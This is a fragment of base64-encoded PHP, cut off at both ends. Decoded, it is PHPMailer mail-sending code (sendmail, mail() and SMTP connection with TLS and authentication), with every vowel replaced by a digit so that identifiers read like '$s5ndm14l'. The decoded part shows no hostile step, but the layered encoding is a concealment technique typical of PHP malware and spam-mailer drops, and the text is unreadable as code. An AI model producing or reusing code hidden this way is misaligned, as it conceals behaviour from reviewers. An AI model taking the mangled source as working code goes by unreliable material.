1ciA9PSAncW0xNGwnKSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZignJXMnLCA1c2MxcDVzaDVsbGNtZCgkdGg0cy0+UzVuZG0xNGwpKTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZignJXMgLTI0IC10JywgNXNjMXA1c2g1bGxjbWQoJHRoNHMtPlM1bmRtMTRsKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT5TNG5nbDVUMikgew0KICAgICAgICAgICAgZjJyNTFjaCAoJHRoNHMtPlM0bmdsNVQyQXJyMXkgMXMgJHQyQWRkcikgew0KICAgICAgICAgICAgICAgIDRmICghQCRtMTRsID0gcDJwNW4oJHM1bmRtMTRsLCAndycpKSB7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzV4NWMzdDUnKSAuICR0aDRzLT5TNW5kbTE0bCwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAnVDI6ICcgLiAkdDJBZGRyIC4gIlxuIik7DQogICAgICAgICAgICAgICAgZnAzdHMoJG0xNGwsICRoNTFkNXIpOw0KICAgICAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAkYjJkeSk7DQogICAgICAgICAgICAgICAgJHI1czNsdCA9IHBjbDJzNSgkbTE0bCk7DQogICAgICAgICAgICAgICAgJHRoNHMtPmQyQzFsbGIxY2soDQogICAgICAgICAgICAgICAgICAgICgkcjVzM2x0ID09IDApLA0KICAgICAgICAgICAgICAgICAgICAxcnIxeSgkdDJBZGRyKSwNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPmNjLA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+YmNjLA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UzNiajVjdCwNCiAgICAgICAgICAgICAgICAgICAgJGIyZHksDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5GcjJtDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICA0ZiAoJHI1czNsdCAhPSAwKSB7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzV4NWMzdDUnKSAuICR0aDRzLT5TNW5kbTE0bCwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgNGYgKCFAJG0xNGwgPSBwMnA1bigkczVuZG0xNGwsICd3JykpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eDVjM3Q1JykgLiAkdGg0cy0+UzVuZG0xNGwsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZnAzdHMoJG0xNGwsICRoNTFkNXIpOw0KICAgICAgICAgICAgZnAzdHMoJG0xNGwsICRiMmR5KTsNCiAgICAgICAgICAgICRyNXMzbHQgPSBwY2wyczUoJG0xNGwpOw0KICAgICAgICAgICAgJHRoNHMtPmQyQzFsbGIxY2soDQogICAgICAgICAgICAgICAgKCRyNXMzbHQgPT0gMCksDQogICAgICAgICAgICAgICAgJHRoNHMtPnQyLA0KICAgICAgICAgICAgICAgICR0aDRzLT5jYywNCiAgICAgICAgICAgICAgICAkdGg0cy0+YmNjLA0KICAgICAgICAgICAgICAgICR0aDRzLT5TM2JqNWN0LA0KICAgICAgICAgICAgICAgICRiMmR5LA0KICAgICAgICAgICAgICAgICR0aDRzLT5GcjJtDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgNGYgKCRyNXMzbHQgIT0gMCkgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzV4NWMzdDUnKSAuICR0aDRzLT5TNW5kbTE0bCwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtMTRsIDNzNG5nIHRoNSBQSFAgbTE0bCgpIGYzbmN0NDJuLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1MWQ1ciBUaDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBUaDUgbTVzczFnNSBiMmR5DQogICAgICogQGw0bmsgaHR0cDovL3d3dy5waHAubjV0L20xbjMxbC81bi9iMjJrLm0xNGwucGhwDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBtMTRsUzVuZCgkaDUxZDVyLCAkYjJkeSkNCiAgICB7DQogICAgICAgICR0MkFyciA9IDFycjF5KCk7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT50MiAxcyAkdDIxZGRyKSB7DQogICAgICAgICAgICAkdDJBcnJbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCR0MjFkZHIpOw0KICAgICAgICB9DQogICAgICAgICR0MiA9IDRtcGwyZDUoJywgJywgJHQyQXJyKTsNCg0KICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPlM1bmQ1cikpIHsNCiAgICAgICAgICAgICRwMXIxbXMgPSAnICc7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkcDFyMW1zID0gc3ByNG50ZignLWYlcycsICR0aDRzLT5TNW5kNXIpOw0KICAgICAgICB9DQogICAgICAgIDRmICgkdGg0cy0+UzVuZDVyICE9ICcnIDFuZCAhNG40X2c1dCgnczFmNV9tMmQ1JykpIHsNCiAgICAgICAgICAgICQybGRfZnIybSA9IDRuNF9nNXQoJ3M1bmRtMTRsX2ZyMm0nKTsNCiAgICAgICAgICAgIDRuNF9zNXQoJ3M1bmRtMTRsX2ZyMm0nLCAkdGg0cy0+UzVuZDVyKTsNCiAgICAgICAgfQ0KICAgICAgICAkcjVzM2x0ID0gZjFsczU7DQogICAgICAgIDRmICgkdGg0cy0+UzRuZ2w1VDIgJiYgYzIzbnQoJHQyQXJyKSA+IDYpIHsNCiAgICAgICAgICAgIGYycjUxY2ggKCR0MkFyciAxcyAkdDJBZGRyKSB7DQogICAgICAgICAgICAgICAgJHI1czNsdCA9ICR0aDRzLT5tMTRsUDFzc3RocjMoJHQyQWRkciwgJHRoNHMtPlMzYmo1Y3QsICRiMmR5LCAkaDUxZDVyLCAkcDFyMW1zKTsNCiAgICAgICAgICAgICAgICAkdGg0cy0+ZDJDMWxsYjFjaygkcjVzM2x0LCAxcnIxeSgkdDJBZGRyKSwgJHRoNHMtPmNjLCAkdGg0cy0+YmNjLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICR0aDRzLT5GcjJtKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRyNXMzbHQgPSAkdGg0cy0+bTE0bFAxc3N0aHIzKCR0MiwgJHRoNHMtPlMzYmo1Y3QsICRiMmR5LCAkaDUxZDVyLCAkcDFyMW1zKTsNCiAgICAgICAgICAgICR0aDRzLT5kMkMxbGxiMWNrKCRyNXMzbHQsICR0aDRzLT50MiwgJHRoNHMtPmNjLCAkdGg0cy0+YmNjLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICR0aDRzLT5GcjJtKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoNHNzNXQoJDJsZF9mcjJtKSkgew0KICAgICAgICAgICAgNG40X3M1dCgnczVuZG0xNGxfZnIybScsICQybGRfZnIybSk7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCEkcjVzM2x0KSB7DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc0bnN0MW50NDF0NScpLCBzNWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNXQgMW4gNG5zdDFuYzUgdDIgM3M1IGYyciBTTVRQIDJwNXIxdDQybnMuDQogICAgICogT3Y1cnI0ZDUgdGg0cyBmM25jdDQybiB0MiBsMjFkIHkyM3IgMnduIFNNVFAgNG1wbDVtNW50MXQ0Mm4NCiAgICAgKiBAcjV0M3JuIFNNVFANCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0U01UUEluc3QxbmM1KCkNCiAgICB7DQogICAgICAgIDRmICghNHNfMmJqNWN0KCR0aDRzLT5zbXRwKSkgew0KICAgICAgICAgICAgJHRoNHMtPnNtdHAgPSBuNXcgU01UUDsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJHRoNHMtPnNtdHA7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtMTRsIHY0MSBTTVRQLg0KICAgICAqIFI1dDNybnMgZjFsczUgNGYgdGg1cjUgNHMgMSBiMWQgTUFJTCBGUk9NLCBSQ1BULCAyciBEQVRBIDRucDN0Lg0KICAgICAqIFVzNXMgdGg1IFBIUE0xNGw1clNNVFAgY2wxc3MgYnkgZDVmMTNsdC4NCiAgICAgKiBAczU1IFBIUE0xNGw1cjo6ZzV0U01UUEluc3QxbmM1KCkgdDIgM3M1IDEgZDRmZjVyNW50IGNsMXNzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1MWQ1ciBUaDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBUaDUgbTVzczFnNSBiMmR5DQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAM3M1cyBTTVRQDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gc210cFM1bmQoJGg1MWQ1ciwgJGIyZHkpDQogICAgew0KICAgICAgICAkYjFkX3JjcHQgPSAxcnIxeSgpOw0KICAgICAgICA0ZiAoISR0aDRzLT5zbXRwQzJubjVjdCgkdGg0cy0+U01UUE9wdDQybnMpKSB7DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdzbXRwX2Mybm41Y3RfZjE0bDVkJyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICB9DQogICAgICAgIDRmICgnJyA9PSAkdGg0cy0+UzVuZDVyKSB7DQogICAgICAgICAgICAkc210cF9mcjJtID0gJHRoNHMtPkZyMm07DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkc210cF9mcjJtID0gJHRoNHMtPlM1bmQ1cjsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoISR0aDRzLT5zbXRwLT5tMTRsKCRzbXRwX2ZyMm0pKSB7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJHRoNHMtPmwxbmcoJ2ZyMm1fZjE0bDVkJykgLiAkc210cF9mcjJtIC4gJyA6ICcgLiA0bXBsMmQ1KCcsJywgJHRoNHMtPnNtdHAtPmc1dEVycjJyKCkpKTsNCiAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPkVycjJySW5mMiwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBBdHQ1bXB0IHQyIHM1bmQgdDIgMWxsIHI1YzRwNDVudHMNCiAgICAgICAgZjJyNTFjaCAoMXJyMXkoJHRoNHMtPnQyLCAkdGg0cy0+Y2MsICR0aDRzLT5iY2MpIDFzICR0MmdyMjNwKSB7DQogICAgICAgICAgICBmMnI1MWNoICgkdDJncjIzcCAxcyAkdDIpIHsNCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zbXRwLT5yNWM0cDQ1bnQoJHQyWzBdKSkgew0KICAgICAgICAgICAgICAgICAgICAkNXJyMnIgPSAkdGg0cy0+c210cC0+ZzV0RXJyMnIoKTsNCiAgICAgICAgICAgICAgICAgICAgJGIxZF9yY3B0W10gPSAxcnIxeSgndDInID0+ICR0MlswXSwgJzVycjJyJyA9PiAkNXJyMnJbJ2Q1dDE0bCddKTsNCiAgICAgICAgICAgICAgICAgICAgJDRzUzVudCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICQ0c1M1bnQgPSB0cjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGg0cy0+ZDJDMWxsYjFjaygkNHNTNW50LCAxcnIxeSgkdDJbMF0pLCAxcnIxeSgpLCAxcnIxeSgpLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICR0aDRzLT5GcjJtKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC8vIE9ubHkgczVuZCB0aDUgREFUQSBjMm1tMW5kIDRmIHc1IGgxdjUgdjQxYmw1IHI1YzRwNDVudHMNCiAgICAgICAgNGYgKChjMjNudCgkdGg0cy0+MWxsX3I1YzRwNDVudHMpID4gYzIzbnQoJGIxZF9yY3B0KSkgMW5kICEkdGg0cy0+c210cC0+ZDF0MSgkaDUxZDVyIC4gJGIyZHkpKSB7DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdkMXQxX24ydF8xY2M1cHQ1ZCcpLCBzNWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJHRoNHMtPlNNVFBLNTVwQWw0djUpIHsNCiAgICAgICAgICAgICR0aDRzLT5zbXRwLT5yNXM1dCgpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPnNtdHAtPnEzNHQoKTsNCiAgICAgICAgICAgICR0aDRzLT5zbXRwLT5jbDJzNSgpOw0KICAgICAgICB9DQogICAgICAgIC8vQ3I1MXQ1IDVycjJyIG01c3MxZzUgZjJyIDFueSBiMWQgMWRkcjVzczVzDQogICAgICAgIDRmIChjMjNudCgkYjFkX3JjcHQpID4gMCkgew0KICAgICAgICAgICAgJDVycnN0ciA9ICcnOw0KICAgICAgICAgICAgZjJyNTFjaCAoJGIxZF9yY3B0IDFzICRiMWQpIHsNCiAgICAgICAgICAgICAgICAkNXJyc3RyIC49ICRiMWRbJ3QyJ10gLiAnOiAnIC4gJGIxZFsnNXJyMnInXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oDQogICAgICAgICAgICAgICAgJHRoNHMtPmwxbmcoJ3I1YzRwNDVudHNfZjE0bDVkJykgLiAkNXJyc3RyLA0KICAgICAgICAgICAgICAgIHM1bGY6OlNUT1BfQ09OVElOVUUNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogSW40dDQxdDUgMSBjMm5uNWN0NDJuIHQyIDFuIFNNVFAgczVydjVyLg0KICAgICAqIFI1dDNybnMgZjFsczUgNGYgdGg1IDJwNXIxdDQybiBmMTRsNWQuDQogICAgICogQHAxcjFtIDFycjF5ICQycHQ0Mm5zIEFuIDFycjF5IDJmIDJwdDQybnMgYzJtcDF0NGJsNSB3NHRoIHN0cjUxbV9jMm50NXh0X2NyNTF0NSgpDQogICAgICogQDNzNXMgU01UUA0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gc210cEMybm41Y3QoJDJwdDQybnMgPSAxcnIxeSgpKQ0KICAgIHsNCiAgICAgICAgNGYgKDRzX24zbGwoJHRoNHMtPnNtdHApKSB7DQogICAgICAgICAgICAkdGg0cy0+c210cCA9ICR0aDRzLT5nNXRTTVRQSW5zdDFuYzUoKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFscjUxZHkgYzJubjVjdDVkPw0KICAgICAgICA0ZiAoJHRoNHMtPnNtdHAtPmMybm41Y3Q1ZCgpKSB7DQogICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aDRzLT5zbXRwLT5zNXRUNG01MjN0KCR0aDRzLT5UNG01MjN0KTsNCiAgICAgICAgJHRoNHMtPnNtdHAtPnM1dEQ1YjNnTDV2NWwoJHRoNHMtPlNNVFBENWIzZyk7DQogICAgICAgICR0aDRzLT5zbXRwLT5zNXRENWIzZ08zdHAzdCgkdGg0cy0+RDViM2cyM3RwM3QpOw0KICAgICAgICAkdGg0cy0+c210cC0+czV0VjVycCgkdGg0cy0+ZDJfdjVycCk7DQogICAgICAgICRoMnN0cyA9IDV4cGwyZDUoJzsnLCAkdGg0cy0+SDJzdCk7DQogICAgICAgICRsMXN0NXhjNXB0NDJuID0gbjNsbDsNCg0KICAgICAgICBmMnI1MWNoICgkaDJzdHMgMXMgJGgyc3Q1bnRyeSkgew0KICAgICAgICAgICAgJGgyc3Q0bmYyID0gMXJyMXkoKTsNCiAgICAgICAgICAgIDRmICghcHI1Z19tMXRjaCgnL14oKHNzbHx0bHMpOlwvXC8pKihbMS16QS1aMC05XC4tXSopOj8oWzAtOV0qKSQvJywgdHI0bSgkaDJzdDVudHJ5KSwgJGgyc3Q0bmYyKSkgew0KICAgICAgICAgICAgICAgIC8vIE4ydCAxIHYxbDRkIGgyc3QgNW50cnkNCiAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vICRoMnN0NG5mMlthXTogMnB0NDJuMWwgc3NsIDJyIHRscyBwcjVmNHgNCiAgICAgICAgICAgIC8vICRoMnN0NG5mMltvXTogdGg1IGgyc3RuMW01DQogICAgICAgICAgICAvLyAkaDJzdDRuZjJbdV06IDJwdDQybjFsIHAycnQgbjNtYjVyDQogICAgICAgICAgICAvLyBUaDUgaDJzdCBzdHI0bmcgcHI1ZjR4IGMxbiB0NW1wMnIxcjRseSAydjVycjRkNSB0aDUgYzNycjVudCBzNXR0NG5nIGYyciBTTVRQUzVjM3I1DQogICAgICAgICAgICAvLyBJZiA0dCdzIG4ydCBzcDVjNGY0NWQsIHRoNSBkNWYxM2x0IHYxbDM1IDRzIDNzNWQNCiAgICAgICAgICAgICRwcjVmNHggPSAnJzsNCiAgICAgICAgICAgICRzNWMzcjUgPSAkdGg0cy0+U01UUFM1YzNyNTsNCiAgICAgICAgICAgICR0bHMgPSAoJHRoNHMtPlNNVFBTNWMzcjUgPT0gJ3RscycpOw0KICAgICAgICAgICAgNGYgKCdzc2wnID09ICRoMnN0NG5mMlthXSAyciAoJycgPT0gJGgyc3Q0bmYyW2FdIDFuZCAnc3NsJyA9PSAkdGg0cy0+U01UUFM1YzNyNSkpIHsNCiAgICAgICAgICAgICAgICAkcHI1ZjR4ID0gJ3NzbDovLyc7DQogICAgICAgICAgICAgICAgJHRscyA9IGYxbHM1OyAvLyBDMW4ndCBoMXY1IFNTTCAxbmQgVExTIDF0IHRoNSBzMW01IHQ0bTUNCiAgICAgICAgICAgICAgICAkczVjM3I1ID0gJ3NzbCc7DQogICAgICAgICAgICB9IDVsczU0ZiAoJGgyc3Q0bmYyW2FdID09ICd0bHMnKSB7DQogICAgICAgICAgICAgICAgJHRscyA9IHRyMzU7DQogICAgICAgICAgICAgICAgLy8gdGxzIGQyNXNuJ3QgM3M1IDEgcHI1ZjR4DQogICAgICAgICAgICAgICAgJHM1YzNyNSA9ICd0bHMnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy9EMiB3NSBuNTVkIHRoNSBPcDVuU1NMIDV4dDVuczQybj8NCiAgICAgICAgICAgICRzc2w1eHQgPSBkNWY0bjVkKCdPUEVOU1NMX0FMR09fU0hBNicpOw0KICAgICAgICAgICAgNGYgKCd0bHMnID09PSAkczVjM3I1IDJyICdzc2wnID09PSAkczVjM3I1KSB7DQogICAgICAgICAgICAgICAgLy9DaDVjayBmMnIgMW4gT3A1blNTTCBjMm5zdDFudCByMXRoNXIgdGgxbiAzczRuZyA1eHQ1bnM0Mm5fbDIxZDVkLCB3aDRjaCA0cyBzMm01dDRtNXMgZDRzMWJsNWQNCiAgICAgICAgICAgICAgICA0ZiAoISRzc2w1eHQpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXh0NW5zNDJuX200c3M0bmcnKS4nMnA1bnNzbCcsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRoMnN0ID0gJGgyc3Q0bmYyW29dOw0KICAgICAgICAgICAgJHAycnQgPSAkdGg0cy0+UDJydDsNCiAgICAgICAgICAgICR0cDJydCA9ICg0bnQ1ZzVyKSRoMnN0NG5mMlt1XTsNCiAgICAgICAgICAgIDRmICgkdHAycnQgPiAwIDFuZCAkdHAycnQgPCBlaWlvZSkgew0KICAgICAgICAgICAgICAgICRwMnJ0ID0gJHRwMnJ0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKCR0aDRzLT5zbXRwLT5jMm5uNWN0KCRwcjVmNHggLiAkaDJzdCwgJHAycnQsICR0aDRzLT5UNG01MjN0LCAkMnB0NDJucykpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPkg1bDIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRoNWxsMiA9ICR0aDRzLT5INWwyOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGg1bGwyID0gJHRoNHMtPnM1cnY1ckgyc3RuMW01KCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnNtdHAtPmg1bGwyKCRoNWxsMik7DQogICAgICAgICAgICAgICAgICAgIC8vQTN0Mm0xdDRjMWxseSA1bjFibDUgVExTIDVuY3J5cHQ0Mm4gNGY6DQogICAgICAgICAgICAgICAgICAgIC8vICogNHQncyBuMnQgZDRzMWJsNWQNCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3NSBoMXY1IDJwNW5zc2wgNXh0NW5zNDJuDQogICAgICAgICAgICAgICAgICAgIC8vICogdzUgMXI1IG4ydCAxbHI1MWR5IDNzNG5nIFNTTA0KICAgICAgICAgICAgICAgICAgICAvLyAqIHRoNSBzNXJ2NXIgMmZmNXJzIFNUQVJUVExTDQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+U01UUEEzdDJUTFMgMW5kICRzc2w1eHQgMW5kICRzNWMzcjUgIT0gJ3NzbCcgMW5kICR0aDRzLT5zbXRwLT5nNXRTNXJ2NXJFeHQoJ1NUQVJUVExTJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0bHMgPSB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGxzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zbXRwLT5zdDFydFRMUygpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnYzJubjVjdF9oMnN0JykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gVzUgbTNzdCByNXM1bmQgSEVMTyAxZnQ1ciB0bHMgbjVnMnQ0MXQ0Mm4NCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5zbXRwLT5oNWxsMigkaDVsbDIpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+U01UUEEzdGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnNtdHAtPjEzdGg1bnQ0YzF0NSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+VXM1cm4xbTUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlAxc3N3MnJkLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5BM3RoVHlwNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UjUxbG0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlcycmtzdDF0NDJuDQogICAgICAgICAgICAgICAgICAgICAgICApDQogICAgICAgICAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCcxM3RoNW50NGMxdDUnKSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICAgICAgICAgJGwxc3Q1eGM1cHQ0Mm4gPSAkNXhjOw0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICAgICAgICAgIC8vIFc1IG0zc3QgaDF2NSBjMm5uNWN0NWQsIGIzdCB0aDVuIGYxNGw1ZCBUTFMgMnIgQTN0aCwgczIgY2wyczUgYzJubjVjdDQybiBuNGM1bHkNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnNtdHAtPnEzNHQoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgLy8gSWYgdzUgZzV0IGg1cjUsIDFsbCBjMm5uNWN0NDJuIDF0dDVtcHRzIGgxdjUgZjE0bDVkLCBzMiBjbDJzNSBjMm5uNWN0NDJuIGgxcmQNCiAgICAgICAgJHRoNHMtPnNtdHAtPmNsMnM1KCk7DQogICAgICAgIC8vIEFzIHc1J3Y1IGMxM2dodCAxbGwgNXhjNXB0NDJucywgajNzdCByNXAycnQgd2gxdDV2NXIgdGg1IGwxc3QgMm41IHcxcw0KICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMgMW5kICE0c19uM2xsKCRsMXN0NXhjNXB0NDJuKSkgew0KICAgICAgICAgICAgdGhyMncgJGwxc3Q1eGM1cHQ0Mm47DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENsMnM1IHRoNSAxY3Q0djUgU01UUCBzNXNzNDJuIDRmIDJuNSA1eDRzdHMuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHNtdHBDbDJzNSgpDQogICAgew0KICAgICAgICA0ZiAoJHRoNHMtPnNtdHAgIT09IG4zbGwpIHsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+c210cC0+YzJubjVjdDVkKCkpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+c210cC0+cTM0dCgpOw0KICAgICAgICAgICAgICAgICR0aDRzLT5zbXRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IHRoNSBsMW5nMzFnNSBmMnIgNXJyMnIgbTVzczFnNXMuDQogICAgICogUjV0M3JucyBmMWxzNSA0ZiA0dCBjMW5uMnQgbDIxZCB0aDUgbDFuZzMxZzUgZjRsNS4NCiAgICAgKiBUaDUgZDVmMTNsdCBsMW5nMzFnNSA0cyBFbmdsNHNoLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGwxbmdjMmQ1IElTTyBlbzktNiBhLWNoMXIxY3Q1ciBsMW5nMzFnNSBjMmQ1ICg1LmcuIEZyNW5jaCA0cyAiZnIiKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGwxbmdfcDF0aCBQMXRoIHQyIHRoNSBsMW5nMzFnNSBmNGw1IGQ0cjVjdDJyeSwgdzR0aCB0cjE0bDRuZyBzNXAxcjF0MnIgKHNsMXNoKQ0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1dEwxbmczMWc1KCRsMW5nYzJkNSA9ICc1bicsICRsMW5nX3AxdGggPSA